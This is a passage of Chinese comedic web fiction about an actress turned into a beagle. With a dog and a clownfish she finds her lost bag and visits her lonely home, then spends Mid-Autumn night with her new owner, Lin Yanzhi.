夏焰从将浓厚的思绪抽离,跨步跟上田园犬的脚步。
大毛像是巡视领地的头狮,威风凛凛地带着它的随从,还有随从的随从。
“为什么我看起来像随从?”夏焰忍不住吐槽。
“那我是啥?你的贴身保镖。”
“你是我的天猫精灵。”
“那是啥?”
大毛扭头看向她们,她们立刻噤声,不再多嘴。
“那是啥?”
“嘘。”
夏焰拍拍瓶子叫它不要说话。
路上遇到一连串上幼儿园的小朋友,叽叽喳喳地路过她们,想要伸手摸摸。
夏焰看大毛居然温顺地趴下让他们摸脑袋。
“大毛早上好!”
“大毛你要不要吃鸡蛋?”
“大毛你今天会不会去滑滑梯?”
大毛大毛大毛大毛……大毛顺势卧倒,听他们围着它说话。
小屁孩们什么时候能走,这样下去得走到明天!然后林砚之回到家发现家里进贼了,贼没偷走他的票子,只偷走了他鱼缸里的鱼,卧室里的狗,还有厨房里的小面包和火腿肠。
夏焰一想到林砚之进门会露出的痴呆表情,她就想笑。
“那是什么!”
“是小兔子!”
喂喂喂,谁是小兔子?这分明是比格犬啊。
夏焰突然意识到自己对身份的认同感又上一层楼,忍不住呸呸两声。
“小兔兔摸摸。”
摸摸什么摸摸,你手脏不脏?小朋友上厕所出来会不会洗手?
她看着越来越近的几只罪恶小手,自认为不可察觉地踮脚躲到大毛的身后。
“摸摸嘛小兔兔。”
“好啦,我们要迟到了,快走吧。”
夏焰笑了,由内而外,发自内心的真挚笑容送给这位善解人意的母亲。
她看着家长们拽着各家孩子离开。
结果没想到还有只被遗漏的小手,居然成功落在她的脑袋上,热热的。
什么东西?
她像上翻着眼珠子。
“都说了不要摸了!这是……比格,啊!”一边尖叫着一边抓着小孩手离开。
什么意思?
比格怎么了?
你有本事永远不吃比格披萨。
为啥不让摸,摸啊,叫你摸!
一边汪汪叫着一边低头猛冲,非要让那女孩摸个够。
她越追人家跑的越快。
“哎呦行了行了,颠的我想吐。”
“她们为什么怕我?”
“啊?可能你是这个小区的新物种吧,第一只比格犬总是格外引人注目。大明星可不是那么好当滴。”
眼看和大毛隔得越来越远,她有些不安地跑回它的身边。
大毛看她奔跑着靠近,两只大耳朵甩得欢快。
终于带她走出小区。
她们钻过拦车杆,脚踩着绿油油的草地,像是小学时春游那样,手拉手紧跟着老师走就好。
她们爬上楼梯准备走过小桥。
大毛突然立住,面对着底下正处在丰水季奔涌不绝的河水。
“我们就是在这把你拦住,捞上来的。这里经常会有小动物落水,有的恰好被我们发现可以捡回一条命,有的没被发现,就顺着这里一路冲走。”
“我也可能是失足落下去的。”夏焰现在桥上看着底下的河水感觉脚底发颤。
“不,你是被人捆住手脚丢进去的。”
“什么?”
夏焰提高了声音不敢置信。
“太残忍了吧。”尼莫也感到不忍。
大毛一言不发地看向岸边的另一处,夏焰跟着看过去,发现是一只浑身灰色不知道什么种类的狗正趴在河水流过的岸边休息。
大毛转身继续向前走着,夏焰蹭到她的脚边,觉得喉咙发紧,连咽几次口水,对它说:“谢谢你救我。”
大毛面色平静地看向夏焰,突然叹气道:
“他是好人。”用上百分百的真诚,唯恐她不相信,也害怕她不那么认为。
“他会照顾好你的。”
夏焰点点头:“我知道的。可我还是想回家看看。”
“不撞南墙不回头不死心呦。”
尼莫潇洒地躺在塑料瓶子里,就差根狗尾巴草叼在嘴边,它就可以成为初出茅庐的绝世天才大侠。
“其实这一直是我的梦想,仗剑走天涯。”
夏焰不理会它的梦想,而且想一把拍碎和梦想的主人一起冲进下水道里。
她们跟着人群一起走过红绿灯。
“那是啥,好大的小汽车。”
“那是公交车。”
“我们能坐吗?”
“我们没钱。”
“可你是狗。”
你才是狗,你全家都是狗,夏焰给尼莫下了封口令,如果再说废话就把它放进下水道里放生。
“你真残忍!”
她们走一路闲聊一路,夏焰还发现大毛虽然不说话,但是它在偷偷地听她们聊天,因为她看见大毛的右耳悄悄地折过来了一点。
她们走着走着,夏焰觉得路越来越熟悉,不用再看路牌和公交车站惠民地图。
她还看见那个熟悉的便利店,以及对面的算命摊子。
怒火中烧,一定要去抓住老头的衣领给他两掌,再质问他究竟用了什么歪招把她变成小狗,让他把自己变回来,最后再拿回那五十块!
带着尼莫一路狂奔。
结果却只能停在摊子门口,上面被贴了一个大大的警告牌:
请勿相信算命,命运不会因此改变,谨防诈骗。
如遭雷劈。
那我要怎样才能变回来?要一直这样吗?工作怎么办?经纪人只给了我一个月的时间。谁会相信我居然变成了一条狗?
妈妈会认出我来吗?
“怎么了?你被骗了?”尼莫贴心询问道。
“我……”
夏焰嘴巴发苦说不出话来。
“那是什么东西?好像是个包包!”
大毛把桌布掀开,发现桌子底下有一个像是被人遗忘的挎包。
它把包叼出来放在夏焰面前。
夏焰发现这居然是自己的包,就是那个晚上她背着的包。
她用爪子扒拉开拉链,里面的东西仍旧一样不少地塞在里面,她的手机,钱包,钱包里的现金也一分不少,还有一个长命锁,它们安然地躺在这里,像什么也没有发生一样。
大毛低头嗅嗅包包,又嗅嗅夏焰的脖子。
“这是你主人的包?”
夏焰被它的东西吓到,猜出它或许有所察觉。
“……嗯。”
“她很爱你嘛,全部都是你的味道。”
夏焰低头不语,手下动作不停,居然在包包的夹层里翻出一张纸条,上面的字应该是用毛笔写的,有一点被蹭花了。
上面写了一句话:
办法在纸上。
她反复咀嚼着这几个文,翻来覆去没找到其他提示,她把纸条叼起来对着阳光,试图寻找不同,但是一无所获。
是不是要把它们嚼烂了咽下去才能恢复原样?
“还走吗?”
大毛帮她拉上包包的拉链,怕她背不动,主动套
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在脖子上帮她叼着。
“走吧。过了马路就快到我家了。”
她们排着队跟着一个老太太慢悠悠走过马路,又拐过两个路口,跟着老太太身边昂首挺胸地走着,躲过门卫的阻挠,终于在一栋花园洋房前停住脚步。
“俺娘嘞,你这个快的标准是啥。”尼莫突然抬头尖叫,“我的上帝!你住在这!好大的房子!有我们家一百个大!”
“哎呀还好吧,低调低调。”
夏焰揉揉鼻子笑得开心。
大毛也愣在门口,一会看向门口的花园过道,一会抬头看向别墅的阳台,上面拴着一个蓝色的气球。
最后站在鹅暖石小道上一言不发。
“怪不得你不乐意待那呢。”尼莫感叹道。
“快进去快进去!让我们也看看!”
尼莫催促着大家往里走。
大毛问:“我们要怎么进去?”
“按门铃啊,这不是基本礼貌。”尼莫正了正不存在的领带。
“我们现在是狗,谁会给我们开门?”
几分钟后她们找到个适合攀爬的围栏角落,下面刚好有一块石头可以踮脚。
夏焰一段助力起跳挂在了围栏上,没想到短手短脚限制住她的动作,只能像做引体向上一样撑在上面,没法翻身。
大毛在下面顶着她的屁股和乱蹬的腿,让她倒头翻下,落到灌木丛里,把叶子带落,一阵折枝落叶声。
“吓死我了!”
“嘘,小点声。”夏焰一边藏在草丛里一边观察花园园丁的动作,看他带着头戴式耳机,一边哼歌一边割草。
青草味道扑面而来。
看他背过身往另一边走,夏焰连忙拍拍围栏。
接着大毛一跃而下,轻盈落地。
好帅啊。
以前我也是这么潇洒。
果然,这具身体还是太弱了……
“走吧。”
大毛抖抖身上的叶子。
园丁没有把门关上,她们小心翼翼走进屋里,提起爪子,像猫咪一样走路,屏气凝神,害怕碰到人。
结果一直走到二楼一个人都没有。
“你们家只有你一个狗吗?这么大屋子就给你一个狗住?!”尼莫咂嘴。
“你主人没在家吗?”
夏焰垂下眼睛说:“她不经常回家。”
“保姆会来做饭,我不在家的话就只偶尔来打扫卫生。”
奇怪的沉默与沉思在这一刻令人作呕。
“哈哈害大家长这么大都不容易都不容易。”尼莫努力想调节气氛,却无人理会。
大毛跺跺脚,趴在地上,伸个懒腰,事不关己。
夏焰突然想到什么,把大毛甩在一旁的包包再次打开,翻出手机,点亮屏幕,发现居然还有电。
人脸识别是识别不出现在的狗脸了,她只好用她的爪子慢慢按每一个数字。
打人时候觉得不够大的爪子在按手机的时候显得肥大又笨拙,气得她几次想要摔手机。
终于打开手机,夏焰翻找一个个社交软件。
电话,只有被拦截的诈骗电话。
短信,只有劝你给孩子报班的垃圾短信。
微信,红点居然是零诶。
整整两天,没有一个人联系她。
和经纪人的聊天记录还停留在上一次试镜时候转发给她的注意事项。
和母亲最近一次聊天记录是她五天前问她钱够不够花,她还没说话,对面就转来一大串数字。
和朋友,很遗憾在这个圈子里她没有能够畅聊的朋友。
眼泪拌饭是她孤独生活常态,再长大点就是顺着喉咙咽进胃里。
她一刻也忍受不了了。
大毛和尼莫都沉默地看着她。
她轻轻擦干手机上的水珠,胸脯起伏,低头看着手机屏幕变暗,息屏。
她听见大毛开口:“我该走了,你呢?”
“我……”夏焰犹豫着,爪子不自觉又按亮手机,一条讯息让她眼前一亮。
“今天是中秋佳节,保险公司祝您和家人阖家幸福,万事如意。”
5. 坐公交车的狗
“我好像,有点,喘不过来气,咳咳咳。”尼莫微弱的求救打断夏焰的沉默不语。
!
这瓶子不透气!
夏焰手忙脚乱地把瓶子上的绳子解开,大毛帮她稳住瓶身,她用力咬开瓶盖。
尼莫发出破拖拉机一样呼哧呼哧巨大的喘息声。
“咳咳咳,我要死了,我的鱼生太短暂了。”
“你别说话了,再说真的要死了。”
“妹儿啊,你记得时不时去看看我兄弟,他一直一个人,咳咳咳,我走了,啊。”
说完肚皮一翻一动不动。
夏焰大脑一片空白,大毛也没有经验,握着瓶子不知道怎么办。
突然想起楼下客厅里有一个观赏鱼缸,但是她从来没注意过,不知道还有没有再用。
她叼着瓶子几步跳下楼梯,在楼梯口和一条蓝紫色光泽的神仙鱼对视。
头一歪把尼莫送进缸里。
“快救救它!”
神仙鱼被鱼尸体吓一跳,远远躲开。
“它缺氧了!还有救的!”
神仙鱼听到她的话,试探性游到尼莫身边,围着它转了一圈,尼莫身体突然抖了一下。
神仙鱼把尼莫拉到进氧口,让它能吸入更多的氧气。
神仙鱼在一旁扇动它美丽的鱼鳍,像是蝴蝶的翅膀引人着迷。
夏焰从来没见过它,她记得从前这里是一条金龙鱼,或者是鲤鱼反正是什么扁平的大鱼,一条就要占满整个鱼缸。
真美。
“仙女,咳咳。”
尼莫活了。
“仙女,你救了我。”
“喂,还有我。”夏焰冷漠地拍击鱼缸,看着尼莫一脸陶醉的痴样。
“我是红色,你又恰好是蓝色,我们简直是虹猫蓝兔,天赐良缘。”
少看点电视吧。
看起来更像森林冰火人。
“我要走了。”
大毛从楼梯上下来,再次催促道。
它这次没问,只是看向夏焰。
夏焰眨眨眼。
大毛慢慢迈步向门口走去,每一步都重重踏在夏焰胸口,和心脏发生共振。
“等等我!”
夏焰捡起瓶子伸进鱼缸里想把尼莫捞出来。
“你们走吧,我已经找到我的此生归属,你让我兄弟时不时来看看我就行。”
“唉唉你别捞我!”
“出来吧你!”
“你好狠心把我们分开!”
“你拉倒吧人家都懒得理你。”
神仙鱼躲在角落的珊瑚丛里一言不发。
“呜呜呜我的心的碎了!你怎么赔我!”
夏焰用牙在瓶子上半截咬出几个洞来,好让尼莫呼吸,别在半途生而复死。
她们又踏上归程。
“行啦,让你时不时来看看它。”
“……”
她们跟着几个中学生上了公交车,站到最后,在公交车上分了小面包和火腿肠。
尼莫伤心是真的伤心,可是好的也快。
看着公交车窗外拥挤的车流,它问道:“为什么不开你们家的兰博基尼?”
“啊?我们家没有兰博基尼?”夏焰一边嚼着面包一边疑惑,“你连公交车都不知道,为什么知道兰博基尼?”
“我在电视上看的,电影里有钱人不都有兰博基尼吗?”
“什么电影?”
“我不知道叫什么名,有四个女孩。”
“噢。”夏焰决定回去把遥控器藏起来。
听到广播播报,她们摇着尾巴下车,重新走过小桥。
夏焰探头望去,上午的那只串串此刻正抬头望向她们,大毛向它点头。
她们的影子被夕阳拉长,投到桥下的草坪上,变形扭曲。
夏焰看见串串离大毛的影子一步远,紧紧跟随它的影子,不快不慢,配合默契。
等到她们走到桥口,要进入小区,大毛和她们道别,把包包传回她的脖子上,叫她以后有事可以来找它。
夏焰向它道谢。
带着尼莫准备回家。
鬼使神差般转头,看见串串匍匐在地,大毛倾身为它舔毛。
“它们是家人?”
“看物种也知道不可能啊,那个串串是大毛姐的小弟二毛,嘿嘿,大毛姐亲自赐名。”
“那你的名字是林砚之起的吗?”
“我的?不是。”尼莫摆动尾鳍,“是我自己取的,他从来不给小动物取名字。”
夏焰垂眼,看着自己的爪子踩在泥巴里,感受着这种不真实的感觉。
她决定回去要让林砚之给她煮面吃。
抬头却看见穿着制服的警察站在门口。
林砚之抓着头发焦头烂额,手里拿着电话在和物业交谈。
“对对,我家的狗丢了,还有?还有鱼缸漏了。”
“尼莫,家里进贼了。”
夏焰趁着林砚之转身,从门缝里挤进去,踩着木地板溜进卧室,把包包甩在小窝里用毯子盖住。
接着甩着尾巴,把爪子踩得啪啪响,走到客厅,和大家面面相觑。
林砚之正看着一串泥巴脚印发愣,警察拿着相机给漏水的鱼缸拍照。
“这是你家的小狗吗?”
警察看着面前这只脏兮兮的比格犬。
林砚之觉得头痛。
他给警察同志道歉,说麻烦他们白跑一趟。
“没事没事,不是丢了东西就好,小家伙真是淘气哈,这么小就会离家出走哈哈哈。”
估计是真的觉得好笑,居然又掏出相机想要给背着瓶子的夏焰拍照。
夏焰配合地昂首挺胸,站在她被搞得乱七八糟的客厅里,和第一现场来了张合影。
林砚之不停捏着山根,深深吸气。
夏焰试探性地走到他面前,乖乖地坐在,用泥巴爪子踩在他干净的拖鞋上。
“他会不会揍我们?”
夏焰看着林砚之的眼睛,对尼莫发出郑重提问。
“是兄弟就来砍我。”
尼莫竖起鱼鳍大叫:“让老人小孩先走!”
林砚之抿着嘴低头和一双小狗眼对视,圆溜溜的眼睛盯着他看。
夏焰感觉林砚之憋着气,而且快憋死了。
男人吐出长长叹息,弯腰伸手,把她举起来。
叹息声吐露在夏焰裸露的胸口,让她有些意外的困惑。
“我以为你丢了,再也见不到你了。”
夏焰莫名觉得鼻子有些泛酸,在他的手里没有挣扎,发出微微哼唧声。
“他好像不会动手了。”尼莫吐出一个超大泡。
林砚之这时候才注意到她挎着的瓶子里面原来不是喝的水,是家里的小丑鱼。
不知道哪里不对劲了,突然声音拔高:“怎么能自己离家出走!”
不是自己啊。
夏焰随意地伸出爪子拍拍瓶子。
“就算不是自己也不能离家出走!走丢了怎么办?别人把你捡走了呢?被车撞了呢?”
好吧好吧,这次是我不对,对不起。
夏焰用爪子扒拉他的手臂。
林砚之还是紧紧抿着嘴,嘴唇下的痣明晃晃的出现在
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夏焰眼里,让她觉得下巴有点痒痒的。
还没等她腾出手挠挠,就被林砚之抱进怀里,对方深吸一口气,说:“你都臭了。”
我哪臭了?
你才臭!
你上了一天班才臭!
“你是不是踩到粑粑了?”说着翻开她的爪子,“咦,你自己看看是不是。”
这是泥巴!
哪里是粑粑?
等一下,好像是有点臭……
一股腥臭味从身边传来。
“尼莫你烂掉了吗?”
林砚之把瓶子从夏焰身上取下来,看着上面的气孔还有捆住瓶子的窗帘绳,若有所思。
夏焰催促他快点把尼莫丢进鱼缸里,感觉它快要咽气了。
林砚之把鱼缸的水重新放满,把尼莫放回大鱼缸里,尼莫终于缓过来了,自由地在大鱼缸里畅游。
夏焰摇着尾巴咬着他的裤腿,引他往浴室走。
“你要洗澡吗?好吧,让我来放水,你离远一点不要烫到。”
他把她抱在一边,想了想决定抱出浴室。
林砚之蹲下用夏焰走之前丢在地上的天蓝色毛巾把地板擦干净,抓把鱼粮丢进鱼缸里,最后把夏焰丢进浴缸里。
家里没有适合她洗澡的盆,索性让她在浴缸里洗,他把那块天蓝色毛巾洗净拧干,开封一块新肥皂,在上面打出泡沫,然后往湿漉漉的小狗身上擦拭。
等一下。
你用的什么毛巾?
我问你用的什么毛巾?
你在用什么毛巾给我洗脸?
“怎么了?我洗干净了,我还没说你,这是我的洗脸毛巾,你用来放地上踩。”
噢,是吗。
夏焰装作听不懂的样子梗着头让他呼噜脑袋,变成小狗以后脑容量小了很多,总是会忘记一些事情,比如说现在,她就没意识到林砚之正在帮光溜溜的她在洗澡。
知道水从头顶流下,才把脑袋里的水一起带走。
她慌张地抓住浴缸边缘,用爪子推开林砚之地手臂。
“怎么了?你想要自己洗吗?”
夏焰点点头。
“你真的好聪明,小宝。你还带着鱼一起出门是不是想带它看看这个世界,觉得它只能待在家里很可怜。”
那倒没有。
“你居然能找到回家的路,现在还会自己洗澡。”
哎呦哪里哪里,快别夸我了。
夏焰用被打湿的毛茸茸的爪子摸摸耳朵,怪不好意思的。
林砚之一边夸她一边利索地把泡沫冲干净,用纯白大浴巾把她包住,抱到床上吹干。
吹风机一通电就被调到最高档,吹得夏焰两只耳朵乱飞,胡乱拍打在脸上。
痛得她哇哇乱叫,扭头又甩到林砚之脸上。
他赶紧把开关关了,调到最小档,用手掌遮住风口,试试温度,觉得差不多,才吹向夏焰。
夏焰在轻柔的暖风中昏昏欲睡,今天走了一天感觉非常疲惫,恍恍惚惚中好像又到了片场的折叠椅上,刚刚结束一幕武打剧情拍摄,腰酸背痛地坐着等待导演下一条指令。
方昉也在,她会在旁边递给她一瓶水,或者是掰一小块巧克力塞进她的嘴里。
巧克力在嘴里融化,苦味,甜味。
“流口水了。”
林砚之关了吹风机,擦擦她的下巴。
“肚子饿了?”
夏焰的肚子适时发出咕噜声。
林砚之拿过角落里昨天才开封的狗粮,问她:“吃不吃?”
夏焰摇摇头。
林砚之笑着把她抱出卧室。
6. 家的味道我知道
厨房里阵阵飘香,夏焰用她灵敏的鼻子,嗅到林砚之在做蛋炒饭。
鲜嫩的鸡蛋在锅里翻炒,加上颗粒分明的软糯米饭,最后加进一点盐和葱花。
夏焰将香味深深入肺,迫不及待地跑到沙发上去等。
看见茶几上放着林砚之的公文包,上面压着一个礼盒,用光滑耀眼的艺术字在上面写着——双黄莲蓉月饼。
夏焰看向厨房,向那盒月饼伸出罪恶的爪子。
“小狗不可以吃月饼!”
林砚之突然把上半身歪出厨房,盯着夏焰。
吓我一跳,会读心术啊。
还小狗不能吃月饼。
今天中秋节,谁不吃月饼。
“尼莫你吃不吃月饼?”
夏焰无视林砚之地视线,扭头询问。
“什么月饼?不是五仁的我不吃。”
“那你无福享受了。”
夏焰跳到礼盒上,把壳子踩得哗哗响,用爪子太费劲,打不开,又用牙咬,咬半天才把防水材质的礼盒咬出皮外伤。
歇歇,没吃饭没劲。
四肢摊开,躺在礼盒上,耳朵像没能及时放进冰箱的蛋糕一样融化在桌面上。
眼前是暖黄色的水晶吊灯,有些灯管已经不太明亮,年久失修,上面积了一层薄薄的灰。
夏焰疑心晃动的水晶坠子把灰尘都扬在空中,让她眼睛痛。
不知道现在她们在干嘛呢?
妈妈记不记得今天是中秋节,姥姥有没有吃月饼,吃的是什么口味的?方昉今年快要六岁了吧,新家人对你好不好?家里有没有养一只小狗?
一时思绪万千,所有苦的酸的都往她的胃里钻。
直到林砚之出现遮住所有光线,他把她罩在身下,笑着问她:“饿晕了?”
夏焰眨眨眼,接着被林砚之像铲披萨一样整张铲起,回到餐桌上。
一碗喷香的蛋炒饭配上一筷子秘制酸辣椒,嘴巴里已经不受控制地开始分泌口水。
“啊。”
夏焰闭上眼张大嘴巴。
仔细咀嚼喂进嘴里的食物。
怎么没啥味道啊?拥有超级嗅觉的代价难道是味觉代偿了?
她不甘心又吃上一口。
这啥嘛,这个林砚之怎么做啥都是面条味。
睁开一对豆豆眼,看见林砚之左手拿着勺子在往他自己嘴里塞蛋炒饭,右手拿着筷子夹着水煮面差点戳进夏焰的鼻子。
“汪汪汪汪汪汪汪汪汪。”
“你是不是在骂人。”
“汪。”
“小狗不能吃蛋炒饭。”
“汪汪汪汪汪汪汪汪。”
夏焰把面条推远,伸手去够旁边的蛋炒饭。
林砚之死死护住碗说什么不给她吃。
“等会给你吃口月饼好吧,蛋炒饭别吃了我还放了辣椒,唉别抢,好吧,就吃一口啊就一口。”
林砚之斟酌着舀起一勺蛋炒饭。
抖一抖,变成一平勺。
“你也太抠门了,就不能多来点。”
“好了就这么多吃完没有了。”
夏焰舔舔嘴巴,觉得味道不错。
“没有了。”林砚之摇摇手指。
夏焰坐在桌子上,把一只脚翘在林砚之的手臂上,对方兴奋伸出另一只手想要捏捏。
就是现在!
偷袭!
张开血盆大口攻击了充满诱惑的蛋炒饭。
嗝,好香。
有点咸了。
林砚之看她用自己的水杯享受着生命之源,无奈地端碗去厨房,在锅里重新盛了一碗。
摸摸小狗圆溜溜的肚子,把她提溜下餐桌,让她自己去消消食。
爱狗人士林砚之这才正式开始享用他的晚餐。
夏焰绕着月饼盒子绕了三圈,斜着眼偷瞄林砚之,结果发现对方也在偷瞄她。
兵不动我不动。
夏焰踩踩月饼盒子,纵身一跃,跳到地上,转身走进卧室里。
小窝的毯子下鼓起一个小山丘,棕色的包包在里面安然无恙,和毯子的颜色几乎融为一体。
夏焰扭身到门口听着林砚之的动静,有水龙头流水哗哗声,估计是在洗碗。
她飞快跑进小窝里,打开包包翻出手机,一个一个按着数字密码。
爪子动快一点啊!
她突然想笑,有种中学时期放学回家后偷偷玩手机的感觉,和保姆阿姨斗智斗勇,躲在被窝里玩,躲在衣柜里玩,还躲在厕所里一边冲水一边装作拉肚子试图不引起她的怀疑。
阿姨受母亲叮嘱,不能让夏焰玩手机丧志。
可那个年纪的孩子越是控制就越是会引起反抗。
直到她自己感到无趣。
其实她也不是用手机玩游戏,只是喜欢和别人聊天,她和同学们一起在社交软件上聊今天的作业,明天的电影,还在一部武侠小说的贴吧里认识了不少同好,她们在群里无话不谈,互看对方推荐的小说电影。
她几乎把所有闲暇时间都用来和别人谈天说地。
聊天,才能让她感到充实。
但其实那只是啤酒杯上的浮沫,无味无趣,一吹就破。
高中一毕业所有人都不再使用□□,贴吧。就像经过一个重要转折点,仿佛这能证明些什么。
证明她们长大成人。
从那以后很少有人主动向她发起聊天。
她养成了自说自话的坏毛病。
就像现在。
“如果有人给我发了中秋祝福,而我因为没看手机恰好错过了,第二天我该用什么理由解释清楚自己并不是故意不回复。”
变成小狗也是个话痨,一刻不停地嘟囔着。
终于打开了手机,她迅速偷瞄了一眼客厅,没人。
继续安心操作。
首先是点开微信聊天框,除了企业微信给她发来了中秋祝福,还有经纪人沈盛给她发来的一张公司兑奖券的照片,她手气很好抽到了一等奖,和老板共享晚餐一次,最后附带了一个呕吐的黄豆表情。
夏焰想打字嘲笑她,爪子比整个键盘都大,点击一个在地上笑着打滚的大黄豆表情发送过去。
等了几秒对方没有应答,可能是在忙。
夏焰退出聊天框,划到置顶的三人小群,吉祥三宝,她们三口之家。
姥姥在群里发了张自拍照,定位显示在马尔代夫。
好啊老太太中秋节居然去外国看月亮。
她点了一个两个小猪靠在一起看月亮的表情过去。
从群里单独点开妈妈的头像,进入聊天框,发现聊天记录还停留在上一次的转账记录。
她不自觉地在这个界面停留很久,不知道可以发送什么过去。
最后决定退出,却不小心向对方使用“拍一拍”。
她装作什么也没发生,把手机屏幕按灭。
“小宝,你在哪里?”
林砚之的声音突然响起,夏焰赶紧用脑袋把手机塞进包里,把包塞进小窝和墙角的缝隙里,再用同色的毯子盖上,平平整整,谁来也看不出来。
慌乱间牙齿勾到长命锁的链子,越着急勾得越近,最后不得不带着它跑出房间。
“你在这里呢。”林砚之蹲下发现一个亮亮的东西掉落
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在地,“这是什么?”
“一个……长命锁。”他捡起来仔细看,上面还刻的有字,他念出声来,“我女燕燕长命百岁。”
“这是你的吗?”林砚之皱紧眉毛,本来就严肃的脸没有笑容的时候看起来甚至有些可怕。
“你是有主人的?”
林砚之紧紧地握住她的爪子。
痛。
夏焰想要把手抢回来,林砚之却越来越使劲,质问她。
“是不是?”
夏焰把头甩的飞快,两只耳朵像螺旋桨一样甩动,打在林砚之脸上,啪啪响。
还没等她停下来,就又被腾空抱起。
“是你在路上捡的啊,你喜欢这个吗?可是这是别人妈妈买给小朋友的,我们不能乱捡,我先帮你收起来,如果有人找我们要还给她们。”
林砚之开朗地把长命锁和链子一起放进一个装手表的礼盒里,再顺手塞进电视机柜。
夏焰看看高高的柜台,又看看正叉腰微笑眯眼俯视她的男人。
紧接着她腾空跳起,直击男人命门。
在林砚之的脑门心上留下一个红彤彤的狗爪印。
“淘气!”林砚之在空中逮住小狗,把她夹在腋下,轻轻拍打两下屁股,叫她不要胡闹。
“别生气嘛,明天带你去买个新的。”
夏焰胡乱蹬着四肢,发出像狼崽一样的反抗叫声。
“嗷呜——嗷呜——嗷”
忘情的呼喊声被空气里弥漫的沉默打断。
呃,好像不对噢。
男人把她的身体转正惊讶地盯着她。
夏焰尴尬地四肢绷直,向后仰头装死。
肚皮就这样暴露在空气中,被男人袭击。
响亮的吧唧声,贴在她柔软的肚皮上。
迅速激起一身鸡皮疙瘩,夏焰猛地抬起上半身,向他呲牙作势要给他两口。
“吃月饼吧。”
林砚之的声音里都夹着笑意。
他把小狗抱到沙发上,挨着她坐好,拆开桌上的礼盒,一边扯着外包装,一边扭头观察她的表情。
夏焰两只爪子轮流踩着沙发,爪子陷进柔软的沙发垫里,又立刻拔出。
她正等着男人拿出月饼,结果半天没等到下一步。
咔嚓。
白光闪过。
夏焰皱着脸转过头对上林砚之的手机镜头,看到林砚之笑得开心。
下一秒就笑不出来了。
夏焰一个起跳转身用后爪蹬飞他手里的手机。
林砚之几次试图接住飞起的手机,像杂耍演员一样,但很不幸都一一失手。
手机最后安详地躺在地上。
林砚之告诉自己要深呼吸,微笑着把手机捡回到桌面。
“好吧好吧,我们来吃月饼。”
他终于撕开月饼的外包装,从里面拿出圆圆的月饼,夏焰想知道窗外的月亮是不是也是这么圆。
下一秒就被抱起走向窗户。
林砚之拉开窗帘,把她抱在胸口。
“今天好像看不到月亮呢,乌云把它遮住了。”
夏焰也抬头看向窗外,月亮被挡在厚重的乌云里,只透出一层光亮。
林砚之掰了很小一块月饼喂到夏焰嘴边:“好吃吗?这是你第一次吃月饼吧,也是出生以来过的第一个中秋节。”
他把下巴轻放在夏焰的头顶。
她呜呜叫着挣扎躲开。
“今天也是我的生日。”
夏焰停下挣扎的动作,扭头看他。
他把嘴唇贴在她的额头,轻轻的一个吻。
“谢谢你。”
7. 蛋炒饭…有毒!
夏焰吐了。
哇哇吐了一地,把林砚之吓坏了,抓着她就往宠物医院跑。
夏焰虚弱地躺在他的怀里,闻到消毒水的气味,还有陌生的味道充斥鼻腔,不知是谁把她放平在桌上。
“水,给我来点水。”
嘶哑的声音像年迈的老头。
还没等她睁开眼睛,就被一块冰凉的金属激得一哆嗦。
“这小肚子吃得太鼓了。”
带着笑意的声音传进她的耳朵,她睁开眼睛,一张放大的脸凑在跟前,见她睁开眼睛也对她眨眨眼。
“她没事吧?”
夏焰转头看向站在一旁的林砚之,对方还穿着被她吐脏的衬衣,衣角洇湿一片。
她伸手要他过来。
林砚之,蛋炒饭有毒。
“没事,就是吃多了,你少喂点嘛。”男人用两个手指夹起小狗的耳朵,轻轻揉搓,“是不是啊小宝宝,你爸爸喂得太多了。”
再胡说就杀了你。
夏焰恶狠狠地瞪着他,殊不知当力量太过弱小的时候连愤怒都被人当做笑柄。
她听见男人的笑声,更加生气。
“知道了。”
林砚之把长柄伞勾在手臂上,伸手去抱夏焰。
夏焰看他脸色发青不苟言笑的样子不敢挣扎一下,男人不笑的样子就显得古板又严肃。
她又回到林砚之的怀里,这幅样子和他在家里的样子截然不同,根本没有办法把现在的林砚之和刚才对她说谢谢的男人联系在一起。
林砚之故意忽视怀里探究的眼神,问那个宠物医生还有没有什么需要注意的。
“禁食半天,再多观察一下。”
他抱着手,好笑的看着林砚之。
“林教授,我还以为你的家里不会有活物出现,除了那条痴呆的鱼,就是要和书房里的烟草拟南芥屎壳郎消耗时间。”
他走上去一步,又用手指挠挠小狗下巴。
我咬死你。
夏焰悄悄歪头迅速张嘴,居然被对方躲过。
“嘬嘬嘬,小宝宝多和林老师聊聊天啊,谈谈心啊,要不他要变成哑巴了。”
林砚之开口打断男人的滔滔不绝:
“肖旸旸。”
噢呦居然叫小羊羊。
夏焰不受控制笑起来身体在林砚之怀里一抽一抽的,她捂嘴偷笑不停。
一下短暂的鼻息打在她的面上,她才发现林砚之也在偷笑,她看到他嘴唇下的痣都在轻晃,又有了熟悉的感觉,她感到身体放松下来。
林砚之一只手抱着她,一只手拿着肖旸旸开的营养补剂,准备撑伞离开。
夏焰两手攀着林砚之肩头看向医生朋友。
对方笑着向她发出飞吻。
“呕。”
“又怎么了!”
预告了一整天的雨终于倾盆而下,密集地拍打在车玻璃上,林砚之一边注意红灯时间,一边观察夏焰的反应。
他从肖旸旸那里拿了一个最小号的塑料袋套在小狗的两个耳朵上,怕她晕车又吐。
打开一点车窗透风,风就把雨滴就这么无情地划进车内,落在夏焰的头顶,耳朵还有后背上,倒是让她感到清爽。
路过夏焰家的十字路口,她没瞧见灯光。
他们开着小车有惊无险回到家。
夏焰刚一落地就恢复活力,跳到鱼缸边去捞鱼,她一偏头耳朵也掉进鱼缸里,尼莫凑近她说话,对着她的耳朵大叫:“啊!你们想起我来了!”
“差点聋了!”夏焰用爪子用力拍两下鱼缸,“这不是一回来就来给你放饭了吗!”
说着拍着鱼粮盒子示意林砚之往里添粮。
林砚之笑着:“你们俩感情这么好了?”
“我们俩已经是一起出过门关系,它是我的驴友。”
“什么驴友,我是你的鱼友!”
“我懒得说!”
林砚之看着夏焰对着鱼缸汪汪叫着,感到新奇,正想问她在干什么,发现墙上挂着的时钟已经显示时间到了十二点。
他把夏焰抱到地上,给她喂了点温水,又用湿巾擦擦脸,擦擦脚,最后拍拍小狗屁股叫她先去屋里睡觉。
夏焰回头对他龇牙,蹬起后腿警告他。
再拍我屁股就踢死你!
夏焰一步三回头被林砚之当做不舍。
“我洗漱完就来。”说着快步走进卫生间。
夏焰跳进温暖的小窝,险些被毯子埋住。
累死了,今天走了这么多路,感觉已经是步数榜第一了,变成小狗以后一直是四肢着地,那岂不是做了一天的平板支撑!
她躺下,抬起头想要看看自己有没有练成八块腹肌,结果只摸到柔软的肚皮。
切~
